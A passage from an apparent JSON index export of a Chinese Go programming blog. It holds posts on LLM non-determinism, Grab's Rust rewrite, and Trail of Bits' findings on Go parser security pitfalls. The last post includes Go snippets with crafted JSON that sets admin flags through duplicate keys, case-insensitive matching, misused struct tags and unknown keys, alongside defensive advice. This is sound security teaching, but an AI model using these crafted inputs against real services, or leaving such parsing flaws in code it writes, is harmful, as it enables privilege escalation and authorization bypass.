精辟总结的那样：\n我们并非仅仅在抽象层级上“向上”移动，我们同时也在“横向”移入非确定性的领域。\nFowler 文章中的配图非常形象地展示了这一点：传统的编程语言、编译器、字节码是一条清晰的、自上而下的抽象路径；而模型/DSL、代码生成器、低代码、框架是其上的不同抽象层次。自然语言（通过 LLM）则像一条从旁边切入的、直接通往“半结构化/接近人类思维”的道路，这条路本身就带有模糊和不确定性。\n“非确定性”编程时代的挑战与启示 这种“非确定性”的本质，对我们 Gopher，乃至所有软件开发者，都带来了前所未有的挑战和需要重新思考的问题：\n版本控制与可复现性： 当 Prompt 不能保证结果一致时，我们如何管理和版本化我们的“AI辅助代码”？如何确保开发、测试、生产环境的一致性，或者至少是可接受的差异性？仅仅版本化 Prompt 可能不够，我们还需要版本化模型、参数（如 temperature）甚至是一些关键的种子（seed）吗？ 测试与调试： 如何测试一个输出不完全固定的“组件”？传统的单元测试、集成测试方法是否依然有效？我们可能需要引入新的测试策略，例如基于属性的测试、对输出结果的统计验证、或者更侧重于行为和意图的验证。当 LLM 生成的代码出现问题，调试的难度是否会指数级增加？ 可靠性与契约： 在一个包含非确定性AI组件的系统中，如何定义和保证整体的可靠性？服务间的“契约”又该如何描述和强制执行？ 思维模式的转变： 我们习惯了对代码的精确控制，追求逻辑的严密和行为的可预测。现在，我们可能需要学会与“模糊”和“概率”共存，从“指令下达者”转变为“意图沟通者”和“结果筛选者”。 这对我们 Gopher 意味着什么？ Go 语言以其明确性、强类型、简洁的并发模型以及相对可预测的行为，深受开发者喜爱。当我们尝试将 LLM 融入 Go 的生态和开发流程时，这些“非确定性”的特性会带来新的思考：\nAI 生成 Go 代码： 当我们使用 LLM 生成 Go 代码片段、单元测试，甚至整个模块时，如何确保生成的代码符合 Go 的最佳实践、是高效且安全的？如何对生成的代码进行有效的审查和集成？ 用 Go 构建与 LLM 交互的工具/Agent： 如果我们用 Go 开发与 LLM 交互的后端服务或智能体（Agent），我们需要在架构设计上充分考虑 LLM 的非确定性，设计更鲁棒的错误处理、重试机制，以及对 LLM 输出结果的验证和筛选逻辑。 利用 LLM 理解复杂 Go 系统： LLM 或许能帮助我们理解遗留的复杂 Go 代码库，但其解释的准确性和一致性也需要我们审慎评估。 Fowler 在文末表达了他对这一变革的兴奋之情：“这种改变是戏剧性的，也让我颇为兴奋。我相信我会为一些失去的东西感到悲伤，但我们也将获得一些我们中很少有人能理解的东西。”\n小结：拥抱不确定，探索新大陆 Martin Fowler 的这篇文章，为我们揭示了 LLM 时代编程范式可能发生的深刻转变。它不再仅仅是工具的进化，更是与机器协作方式的本质性变革。\n作为 Gopher，作为软件工程师，我们需要开始认真思考这种“非确定性”带来的影响，积极探索与之共存、甚至利用其特性创造价值的新方法。这无疑是一个充满挑战但也充满机遇的新大陆。\n你如何看待 Fowler 的这个观点？你认为 LLM 带来的“非确定性”会对你的日常开发工作产生哪些具体影响？欢迎在评论区分享你的看法！\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/06/26/non-deterministic-abstraction/","summary":"\u003cp\u003eMartin Fowler最新洞察：LLM 不止是“更高”的抽象，它正在改变编程的“本质”！ - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Martin Fowler最新洞察：LLM 不止是“更高”的抽象，它正在改变编程的“本质”！"},{"content":"Go vs. Rust再掀波澜：Grab真实案例复盘，Gopher如何看待这场“效率与代价”之争？ - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGo vs. Rust再掀波澜：Grab真实案例复盘，Gopher如何看待这场“效率与代价”之争？ 六月 24, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/06/24/grab-rewrote-go-service-in-rust\n大家好，我是Tony Bai。\n最近，东南亚科技巨头、出行公司 Grab 的一篇技术博客《Counter Service: How we rewrote it in Rust》在技术圈引起了不小的震动。他们将一个高 QPS（每秒查询率）的 Go 微服务（Counter Service）用 Rust 进行了重写，结果令人瞩目：在保持相似 P99 延迟性能的前提下，基础设施成本降低了高达 70%！ 。\nP99延迟对比：Go（紫色），Rust（蓝色） 这个案例无疑给许多以 Go 作为主力语言的团队和开发者带来了强烈的冲击。Go 语言以其简洁、高效并发、快速编译以及强大的生态系统，在微服务、云原生领域早已占据重要地位。那么，Grab 的这次成功“叛逃”，是否意味着 Go 语言在某些场景下的“护城河”正在被侵蚀？Rust 真的是解决一切性能和成本问题的“银弹”吗？\n今天，我们就来深入剖析 Grab 的这个重构案例，看看他们究竟“得”了什么，“失”了什么，以及这背后能给咱们 Gopher 带来哪些宝贵的启示。\nRust 的“杀手锏”：极致效率带来的基础设施成本骤降 Grab 的 Counter Service 主要负责计数和提供 ML 模型/欺诈规则的计数器服务，是一个典型的 I/O 密集型和计算密集型并存的服务，QPS 峰值可达数万。用 Go 实现时，该服务需要大约 20 个 CPU Cores 来支撑。\n然而，在用 Rust 重写后，同样的负载下，新的 Rust 服务仅需 4.5 个 CPU Cores！这几乎是 近80% 的资源节省，直接带来了 70%以上的基础设施成本降低。\n为什么 Rust 能做到如此极致的效率提升？Grab 的文章和 Rust 语言本身的特性共同揭示了答案：\n无垃圾回收 (GC)：这是 Rust 相比 Go 在追求极致性能和资源控制上的核心优势。Go 的 GC 虽然已经非常优秀，但在高并发、低延迟场景下，GC 扫描和 STW (Stop-The-World) 仍然可能引入不可预测的延迟抖动和额外的 CPU 开销。Rust 通过所有权系统在编译期保证内存安全，无需运行时 GC，从而消除了这部分开销。 内存安全与零成本抽象：Rust 的所有权、借用检查等机制虽然带来了陡峭的学习曲线，但也确保了内存安全，避免了空指针、数据竞争等常见问题。同时，Rust 的许多高级抽象（如迭代器、闭包）能够在编译期被优化掉，实现“零成本抽象”，性能接近 C/C++。 更精细的控制：Rust 赋予开发者对内存布局、线程模型更细致的控制权，使得在特定场景下可以进行深度优化。 Grab 的案例似乎在证明，当业务场景对资源消耗和运行成本极度敏感，且服务逻辑相对“简单”（Grab 特别强调了选择重写目标时，功能需要足够简单，复杂度可控）时，Rust 的这些特性能够带来实实在在的巨大回报。\n光鲜背后的“代价”：Grab 的探索与挑战 然而，享受 Rust 带来的极致效率并非没有代价。Grab 团队在博客中也坦诚地分享了他们遇到的挑战和权衡：\n陡峭的学习曲线，尤其是 async 文章提到：对于习惯了 Go 语言简洁 go关键字和 GMP 调度模型的 Gopher 来说，Rust 的所有权、生命周期已经是第一道坎，而 async/await 异步模型及其“函数着色”问题、显式 yield（通过 await）等概念，则带来了更高的认知负荷。Grab 团队也曾因错误地在异步代码中使用了同步 Redis 调用而导致性能不佳。\n生态系统与内部库的“阵痛” 虽然 Rust 的生态在快速发展，但在某些特定领域，库的选择可能不如 Go 那样成熟和丰富。Grab 团队在选择 Datadog 和 Redis 客户端库时就进行了一番评估和取舍。\n更痛的是内部库的迁移。Grab 内部大量基础库是用 Go 编写的，例如一个使用 Go Templates 进行配置管理的库。在 Rust 项目中，这些 Go 库无法直接复用，团队不得不使用 nom 解析器组合库在 Rust 中重写了类似的功能。这无疑增加了重构的成本和时间。\n开发体验的差异 Go 的设计哲学之一就是“简单”，这使得开发者能够快速上手并高效迭代。Goroutine 和 Channel 的易用性，让并发编程的门槛大大降低。相比之下，Rust 为了安全和性能，在语言层面引入了更多复杂性，需要开发者投入更多精力去理解和驾驭。\n“Rust 一定比 Go 快得多”是迷思 一个非常重要的发现是，Grab 明确指出：“神话 1：Rust 非常快！比 Golang 更快！判定：被驳斥。Golang 对于大多数使用案例来说“足够快”……仅仅为了性能提升而将 Golang 服务重写为 Rust 不太可能带来显著的好处。”\n在 P99 延迟方面，Rust 版本与 Go 版本表现相当，甚至有时略差。这告诉我们，Go 在其设计领域内性能已经足够优秀，单纯为了追求“更极致”的速度而用 Rust 重写 Go 服务，可能并不能带来预期的巨大性能提升，反而可能因为生态、开发效率等问题得不偿失。Grab 的主要收益点在于显著的 资源效率 提升。\nGopher 何去何从？几点思考 Grab 的案例无疑是 Go 社区的一面镜子，它照见了 Go 的优势，也揭示了在特定场景下可能存在的“天花板”。作为 Gopher，我们应如何看待这个案例，并从中吸取经验呢？\n首先，Go 的核心优势依然稳固。Go 语言以其简洁性、强大的并发模型（Goroutine + Channel）、高效的编译速度、完善的工具链以及成熟的生态系统，继续在云原生、微服务、中间件和 DevOps 工具等领域占据首选或极具竞争力的地位。对于绝大多数业务场景，Go 提供的开发效率和运行性能是“足够好”的，且具有高性价比。\n其次，关于何时考虑使用 Rust 进行“动刀”，Grab 的案例提供了几个关键的决策参考点。\n在面对极高的 QPS 和资源消耗时，如果服务本身成为性能瓶颈且占用了大量服务器资源，那么迁移可能是合适的。 当功能相对简单且逻辑内聚时，重写的复杂度较低，易于验证，这样可以避免对复杂业务系统进行大规模重写。 当基础设施成本成为显著负担，优化能带来巨大的商业价值时，也应考虑使用 Rust。 团队必须具备掌握 Rust 的能力，成员需熟悉 Rust 并愿意投入时间和资源进行团队赋能。在不满足这些前提条件的情况下，盲目追求 Rust 可能弊大于利。 再者，在考虑语言迁移之前，我们应充分挖掘 Go 本身的优化潜力。例如，进行代码层面的性能分析与优化、架构调整、选择更优的 Go 库，甚至是通过 Go 版本升级带来的 GC 改进等。重写通常应视为最后的手段。\n关于 Gopher 是否需要拥抱 Rust，这取决于个人的发展方向和兴趣。如果你专注于业务开发和应用层构建，Go 依然能让你游刃有余。但如果你对系统编程、底层优化、嵌入式或游戏引擎等领域感兴趣，或者所在的公司/团队正在引入 Rust，那么学习 Rust 无疑会为你打开一扇新的大门。即使不深入学习，了解 Rust 的核心理念（如所有权、生命周期和无GC）也能帮助我们更好地理解程序运行的本质，从而写出更健壮、更高效的 Go 代码。\n最后，Go 语言的未来同样值得关注。Go 社区在持续进化，例如对泛型的支持提升了表达力，而持续优化的 GC 以及不断丰富的高性能标准库也在不断减少对性能的影响。未来，Go 是否会在某些方面借鉴其他语言的优秀特性，以保持其核心优势的同时，进一步拓展能力边界，值得我们期待。\n小结 Grab 用 Rust 重写 Go 服务的案例，再次印证了技术选型中“没有银弹，只有取舍”的黄金法则。Rust 以其极致的性能和资源控制能力，在特定场景下展现了巨大的潜力。但这并不意味着 Go 已经过时或不再优秀。\n对于我们 Gopher 而言，重要的是理解不同语言的设计哲学、优势与代价，并根据具体的业务场景、团队能力和长远目标，做出最适合的决策。\n你对 Grab 的这个案例有什么看法？你认为在哪些场景下，用 Rust 替代 Go 是值得考虑的？欢迎在评论区留下你的思考！\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/06/24/grab-rewrote-go-service-in-rust/","summary":"\u003cp\u003eGo vs. Rust再掀波澜：Grab真实案例复盘，Gopher如何看待这场“效率与代价”之争？ - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go vs. Rust再掀波澜：Grab真实案例复盘，Gopher如何看待这场“效率与代价”之争？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/06/22/unexpected-security-footguns-in-go-parsers\n大家好，我是Tony Bai。\n在 Go 语言中，标准库的 encoding/json 包无疑是我们日常打交道最多的伙伴之一。它简洁易用，性能尚可，支撑了无数 Go 应用的数据交换需求。然而，正如俗话所说，“最熟悉的地方可能藏着最深的坑”，最近拜读了知名安全公司 Trail of Bits 的一篇深度剖析文章——“Unexpected security footguns in Go’s parsers”（Go 解析器中意想不到的安全“绊脚石”）——让我对这个朝夕相处的伙伴有了全新的、甚至可以说是“惊出一身冷汗”的认识。\n这篇文章系统性地揭示了 Go 标准库中的 JSON、XML（以及流行的第三方 YAML）解析器在处理非受信数据时，存在一些设计上或默认行为上的“特性”，这些“特性”在特定场景下很容易被攻击者利用，演变成严重的安全漏洞。文中提到的真实案例，如 Hashicorp Vault 的认证绕过 (CVE-2020-16250)，更是触目惊心。\n今天，我们就结合 Trail of Bits 的这篇“檄文”，深入挖掘一下 Go 解析器（特别是我们最常用的 encoding/json）的那些“隐秘角落”，看看它们是如何成为安全陷阱的，并展望一下被寄予厚望的 JSONv2 将如何带来“救赎”。\nGo 解析器的“温柔一刀”：那些被忽视的默认行为 Trail of Bits 的文章通过三个核心的攻击场景，向我们展示了 Go 解析器的一些“意外行为”是如何被利用的。让我们聚焦于与 encoding/json (v1 版本，即我们目前广泛使用的版本) 相关的几个关键点：\n场景一：非预期的序列化/反序列化 你以为你很好地控制了哪些数据该公开，哪些该保密？但encoding/json 的一些默认行为可能会让你大吃一惊。\n无标签字段的“默认暴露” Go 结构体中，如果一个字段没有 json 标签，encoding/json 在反序列化时会尝试使用该字段的导出名（首字母大写）作为 JSON 键进行匹配（大小写不敏感）。这可能导致开发者预期之外的数据被修改。\n// https://go.dev/play/p/soIQPrr0GiI package main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; ) type UserNoTag struct { Username string // 没有 json 标签，但字段名是 Username IsAdmin bool // 同样没有标签 } func main() { jsonData := {\u0026#34;Username\u0026#34;: \u0026#34;attacker\u0026#34;, \u0026#34;IsAdmin\u0026#34;: true} var u UserNoTag err := json.Unmarshal([]byte(jsonData), \u0026amp;u) if err != nil { fmt.Println(\u0026#34;Error:\u0026#34;, err) return } // 预期：可能希望 IsAdmin 不被外部设置 // 结果：u.IsAdmin 会被设置为 true fmt.Printf(\u0026#34;User: %+v\\n\u0026#34;, u) // Output: User: {Username:attacker IsAdmin:true} } 在这个例子中，即使 IsAdmin 字段没有 json 标签，攻击者仍然可以通过提供名为 “IsAdmin” (或 “isAdmin”, “isadmin” 等) 的 JSON 键来设置其值。如果 IsAdmin 是一个敏感字段，这就构成了一个潜在的安全风险。Trail of Bits 指出，一个分心或经验不足的开发者可能就此引入漏洞。\n误用 json:”-,omitempty” json:”-” 标签的正确含义是“在序列化和反序列化时完全忽略此字段”。但如果错误地与 omitempty 组合成 json:”-,omitempty”，Go 解析器会将其解释为：此字段在 JSON 中的名称是 “-” (一个短横线字符串)，并且当其为空值时在序列化时省略。这意味着，它不再被忽略，而是可以通过名为 “-” 的 JSON 键来操作。看下面示例：\n// https://go.dev/play/p/hmADZWNxk2Y package main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; ) type UserMisuseDash struct { Username string json:\u0026#34;username\u0026#34; IsAdmin bool json:\u0026#34;-,omitempty\u0026#34; // 错误用法！ } func main() { // 攻击者尝试通过名为 \u0026#34;-\u0026#34; 的键设置 IsAdmin jsonData := {\u0026#34;username\u0026#34;: \u0026#34;guest\u0026#34;, \u0026#34;-\u0026#34;: true} var u UserMisuseDash err := json.Unmarshal([]byte(jsonData), \u0026amp;u) if err != nil { fmt.Println(\u0026#34;Error:\u0026#34;, err) return } // 结果：u.IsAdmin 被成功设置为 true! fmt.Printf(\u0026#34;User: %+v\\n\u0026#34;, u) // Output: User: {Username:guest IsAdmin:true} } Trail of Bits 发现 Flipt 和 Langchaingo 等项目中都曾出现过这种误用，导致敏感字段可被外部控制。正确的忽略方式应该是 json:”-”。\n误用 json:”omitempty” 作为字段名 这是一个更直接的错误：开发者本意是想为字段添加 omitempty 选项，却错误地将其写成了 JSON 键名。\n// https://go.dev/play/p/FpH2Ff0pXZ6 package main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; ) type UserMisuseOmitempty struct { Username string json:\u0026#34;username\u0026#34; Role string json:\u0026#34;omitempty\u0026#34; // 错误！Role 字段在 JSON 中的名字变成了 \u0026#34;omitempty\u0026#34; } func main() { jsonData := {\u0026#34;username\u0026#34;: \u0026#34;user1\u0026#34;, \u0026#34;omitempty\u0026#34;: \u0026#34;admin\u0026#34;} var u UserMisuseOmitempty err := json.Unmarshal([]byte(jsonData), \u0026amp;u) if err != nil { fmt.Println(\u0026#34;Error:\u0026#34;, err) return } // 结果：u.Role 被设置为 \u0026#34;admin\u0026#34; fmt.Printf(\u0026#34;User: %+v\\n\u0026#34;, u) // Output: User: {Username:user1 Role:admin} } Trail of Bits 在 GitHub 上搜索发现了多个知名项目（如 Gitea, Kustomize, Btcd, Evcc）中存在将字段 JSON 名错误设置为 omitempty 的情况。正确的做法应该是 json:”fieldName,omitempty” 或者如果想用默认字段名则是 json:”,omitempty”。\n场景二：解析器差异性攻击 当同一个 JSON 数据被多个行为不一致的解析器处理时，攻击者可以利用这些差异性来绕过安全控制。\n重复字段：Go 的 encoding/json 默认取最后一个同名键的值 // https://go.dev/play/p/uw0ElbJYrp9 package main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; ) type ActionRequest struct { Action string json:\u0026#34;action\u0026#34; } func main() { jsonData := {\u0026#34;action\u0026#34;: \u0026#34;readData\u0026#34;, \u0026#34;action\u0026#34;: \u0026#34;deleteData\u0026#34;} var req ActionRequest err := json.Unmarshal([]byte(jsonData), \u0026amp;req) if err != nil { fmt.Println(\u0026#34;Error:\u0026#34;, err) return } // Go 会取最后一个 \u0026#34;action\u0026#34; 的值 fmt.Printf(\u0026#34;Request: %+v\\n\u0026#34;, req) // Output: Request: {Action:deleteData} } 如果一个权限校验服务（可能用其他语言实现，或用了取第一个值的 Go JSON 库如 jsonparser）看到的是 “readData” 并放行，而实际执行业务逻辑的 Go 服务看到的是 “deleteData”，就可能导致权限绕过。\n大小写不敏感的键名匹配：这是 encoding/json (v1) 一个广受诟病的特性 // https://go.dev/play/p/qaQlNq4bumo package main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; ) type Config struct { IsEnabled bool json:\u0026#34;isEnabled\u0026#34; } func main() { jsonData := {\u0026#34;isenabled\u0026#34;: true} // JSON 中键名是全小写 var cfg Config err := json.Unmarshal([]byte(jsonData), \u0026amp;cfg) if err != nil { fmt.Println(\u0026#34;Error:\u0026#34;, err) return } // 即使大小写不匹配，v1 版本的 encoding/json 也会成功赋值 fmt.Printf(\u0026#34;Config: %+v\\n\u0026#34;, cfg) // Output: Config: {IsEnabled:true} // 更危险的场景，结合重复键 jsonDataAttack := {\u0026#34;isEnabled\u0026#34;: false, \u0026#34;isenabled\u0026#34;: true} var cfgAttack Config json.Unmarshal([]byte(jsonDataAttack), \u0026amp;cfgAttack) // 结果可能是 true，取决于最后一个匹配上的键 (isenabled) fmt.Printf(\u0026#34;Attack Config: %+v\\n\u0026#34;, cfgAttack) // Output: Attack Config: {IsEnabled:true} } Trail of Bits 强调这是 Go JSON 解析器最关键的缺陷之一，因为它与几乎所有其他主流语言的 JSON 解析器行为都不同（它们通常是严格大小写敏感的）。攻击者可以轻易构造 payload，如 {“action”: “UserAction”, “aCtIoN”: “AdminAction”}，利用这种差异性绕过权限检查。\n场景三：数据格式混淆攻击 当一个解析器被错误地用来解析另一种格式的数据，或者其对输入数据的校验不够严格时，都可能为攻击者打开方便之门。\n未知键 (Unknown keys) 的潜在风险 encoding/json (v1) 默认会静默地忽略输入 JSON 中，Go 目标结构体未定义的字段。虽然在简单场景下这只是数据被丢弃，但如果应用在后续流程中使用了更通用的方式（如 map[string]interface{}）来处理或透传原始 JSON 数据，这些被“忽略”的未知键就可能“复活”并造成危害。\n// https://go.dev/play/p/85voViHyEEK package main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; ) // 目标是解析成这个结构体，它没有 IsAdmin 字段 type UserProfile struct { Username string json:\u0026#34;username\u0026#34; Email string json:\u0026#34;email\u0026#34; } func processUserData(jsonData []byte) { // 步骤 1: 尝试按预期结构体解析 var profile UserProfile if err := json.Unmarshal(jsonData, \u0026amp;profile); err != nil { fmt.Println(\u0026#34;Error unmarshaling to UserProfile:\u0026#34;, err) // return } fmt.Printf(\u0026#34;Parsed UserProfile: %+v\\n\u0026#34;, profile) // 步骤 2: 假设后续流程或为了更灵活处理， // 使用 map[string]interface{} 再次解析或直接用它承接原始数据 var rawData map[string]interface{} if err := json.Unmarshal(jsonData, \u0026amp;rawData); err != nil { fmt.Println(\u0026#34;Error unmarshaling to map:\u0026#34;, err) return } fmt.Printf(\u0026#34;Raw data map: %+v\\n\u0026#34;, rawData) // 潜在风险点：如果后续逻辑不加区分地使用了 rawData 中的所有键值对 // 例如，直接将 rawData 用于更新数据库记录或传递给下游服务 if isAdmin, ok := rawData[\u0026#34;isAdmin\u0026#34;].(bool); ok \u0026amp;\u0026amp; isAdmin { fmt.Println(\u0026#34;!!! VULNERABILITY RISK: \u0026#39;isAdmin\u0026#39; flag found in raw data and is true !!!\u0026#34;) // 这里可能就根据这个 isAdmin 执行了非预期的权限提升操作 } } func main() { // 攻击者在 JSON 中加入了一个 UserProfile 结构体中不存在的 \u0026#34;isAdmin\u0026#34; 字段 maliciousJSON := {\u0026#34;username\u0026#34;: \u0026#34;hacker\u0026#34;, \u0026#34;email\u0026#34;: \u0026#34;hacker@example.com\u0026#34;, \u0026#34;isAdmin\u0026#34;: true, \u0026#34;notes\u0026#34;: \u0026#34;ignored by struct\u0026#34;} fmt.Println(\u0026#34;--- Processing Malicious Order (with unknown \u0026#39;isAdmin\u0026#39; key) ---\u0026#34;) processUserData([]byte(maliciousJSON)) } 在这个例子中，json.Unmarshal 到 UserProfile 结构体时，isAdmin 和 notes 字段会被忽略。但是，当同一个 maliciousJSON 被解析到 map[string]interface{} 时，所有键（包括 isAdmin 和 notes）都会被完整地保留下来。如果后续的业务逻辑（比如权限判断、数据存储、传递给模板引擎或下游 API）不加小心地依赖了这个 rawData map，就可能错误地使用了攻击者注入的、未在预期结构体中定义的 isAdmin: true，从而导致权限提升或其他安全问题。这本质上是一种参数污染。\n头部/尾部垃圾数据 (Leading/Trailing garbage data) encoding/json (v1) 对输入数据的“纯净度”要求并非总是那么严格。json.Unmarshal通常期望输入是一个单一、完整的 JSON 值。如果JSON值后面跟着非空白的垃圾数据，它通常会报错。但是，如 Trail of Bits 指出的，json.Decoder 在处理流式数据时，如果使用其 Decode() 方法，它可能在成功解析流中的第一个有效 JSON 对象后，并不会因为流中后续存在“垃圾数据”而立即报错，而是成功返回。只有当尝试读取下一个 Token (例如调用 decoder.Token()) 并且该 Token 不是预期的 io.EOF 时，错误才会被显现。 下面Go 示例演示了 json.Decoder 对尾部垃圾数据的潜在容忍可能导致的问题：\n// https://go.dev/play/p/bPTXaPHm6jD package main import ( \u0026#34;bytes\u0026#34; \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;io\u0026#34; ) type SimpleMessage struct { Content string json:\u0026#34;content\u0026#34; } func main() { fmt.Println(\u0026#34;--- Testing Trailing Garbage Data with json.Decoder ---\u0026#34;) // 一个有效的 JSON 对象，后面跟着 \u0026#34;恶意payload\u0026#34; jsonDataWithTrailing := {\u0026#34;content\u0026#34;:\u0026#34;legit data\u0026#34;} malicious_payload_here reader := bytes.NewReader([]byte(jsonDataWithTrailing)) decoder := json.NewDecoder(reader) var msg SimpleMessage // Decoder.Decode() 会尝试解码流中的下一个 JSON 值 err := decoder.Decode(\u0026amp;msg) if err != nil { // 如果 JSON 本身格式错误，这里会报错 fmt.Println(\u0026#34;Initial Decode Error:\u0026#34;, err) } else { // 第一个 JSON 对象被成功解码 fmt.Printf(\u0026#34;Successfully Decoded Message: %+v\\n\u0026#34;, msg) } // 关键：检查 Decode 之后流中是否还有剩余数据 // Trail of Bits 指出这是 encoding/json 的一个开放 issue (golang/go#13407)， // 即 Decoder.Decode 后面跟非空白字符不报错。 // 通常需要额外调用 decoder.Token() 并检查是否为 io.EOF 来确保流已耗尽。 var buf [1]byte n, errPeek := reader.Read(buf[:]) // 尝试读取 Decode 之后的数据 if n \u0026gt; 0 { fmt.Printf(\u0026#34;!!! VULNERABILITY RISK: Trailing garbage data found after valid JSON: \u0026#39;%s\u0026#39;\\n\u0026#34;, string(buf[:n])) // 在某些场景下，如果应用只调用 Decode() 一次且不检查流的末尾， // 攻击者可能通过附加数据来尝试进行其他类型的攻击。 } else if errPeek == io.EOF { fmt.Println(\u0026#34;Stream fully consumed as expected.\u0026#34;) } else if errPeek != nil { fmt.Println(\u0026#34;Error peeking after decode:\u0026#34;, errPeek) } else { fmt.Println(\u0026#34;No trailing data or EOF not reached clearly.\u0026#34;) } // 更规范的检查方式是使用 decoder.More() 或尝试再解码一个Token fmt.Println(\u0026#34;\\n--- Proper check for trailing data ---\u0026#34;) reader2 := bytes.NewReader([]byte(jsonDataWithTrailing)) decoder2 := json.NewDecoder(reader2) var msg2 SimpleMessage decoder2.Decode(\u0026amp;msg2) // 解码第一个 // 尝试解码下一个token，期望是EOF tok, errTok := decoder2.Token() if errTok == io.EOF { fmt.Println(\u0026#34;Proper check: Stream fully consumed (EOF).\u0026#34;) } else if errTok != nil { fmt.Printf(\u0026#34;Proper check: Error after expected JSON object: %v (Token: %v)\\n\u0026#34;, errTok, tok) } else if tok != nil { fmt.Printf(\u0026#34;!!! VULNERABILITY RISK (Proper check): Unexpected token after first JSON object: %v\\n\u0026#34;, tok) } } 如果应用逻辑仅仅依赖 decoder.Decode() 的单次成功返回，而没有后续检查（如确保流已到达 io.EOF），攻击者就可能在有效的 JSON 数据之后附加恶意数据。这些数据可能被后续的、未预期的处理流程读取，或者在某些HTTP请求劫持、请求伪造场景中被利用。Trail of Bits 指出这是一个已知的、但因兼容性等原因未计划修复的 issue (golang/go#13407)。\nXML 解析器的极端容忍度 (与 JSON 混淆) 虽然不是直接的 encoding/json 问题，但 Trail of Bits 强调了当数据格式处理发生混淆时（例如，用 XML 解析器去解析一个实际是 JSON 的响应），Go XML 解析器的宽松性可能导致严重问题。这提醒我们在处理任何外部输入时，都必须严格校验 Content-Type 并使用对应的正确解析器。\nJSONv2 的曙光：更安全的默认与更强的控制 面对 encoding/json (v1) 的这些“隐秘角落”，Go 社区和核心团队并没有坐视不理。Trail of Bits 的文章也将最终的希望寄托在了将以实验性特性 GOEXPERIMENT=jsonv2 存在于 Go 1.25的encoding/json/v2了。\n根据官方提案 (GitHub Issue #71497) ，json/v2 在安全性方面将带来诸多关键改进，很多都直接针对上述的“痛点”：\n默认禁止重复名称： v2 在遇到 JSON 对象中存在重复名称时，会直接报错，而不是像 v1 那样默默接受最后一个。 默认大小写敏感匹配： v2 的字段匹配将采用精确的、大小写敏感的方式。虽然也提供了 MatchCaseInsensitiveNames 选项和 nocase 标签来兼容特定场景，但“默认安全”的原则得到了贯彻。 更强的未知键控制： v2 提供了 RejectUnknownMembers 选项（虽然非默认启用，但行为等同于 v1 的 DisallowUnknownFields），并引入了 unknown 标签，允许开发者将未知字段捕获到指定的 map 或 jsontext.Value 类型的字段中，而不是简单忽略。 UnmarshalRead 校验 EOF： v2 的 UnmarshalRead 函数（用于处理 io.Reader）会校验整个输入流直到 EOF，从而有效阻止尾部垃圾数据的问题。 更严格的 UTF-8 处理： v2 默认要求严格的 UTF-8 编码，对无效 UTF-8 会报错。 这些改进，特别是默认行为的调整，将极大地提升 Go 应用在处理不可信 JSON 数据时的安全性，从源头上减少了许多潜在的漏洞。\n给 Go 开发者的关键启示 在 JSONv2 真正成为主流之前，我们能做些什么来保护我们的 Go 应用呢？Trail of Bits 给出了一些宝贵的建议，结合 JSONv2 的趋势，我们可以总结为：\n默认启用严格解析： * 对于 encoding/json (v1)，尽可能使用 Decoder.DisallowUnknownFields() 来禁止未知字段。 * 警惕并正确使用 json:”-” 来忽略字段，避免误用 json:”-,omitempty” 或 json:”omitempty” 作为字段名。\n保持服务边界的解析一致性： 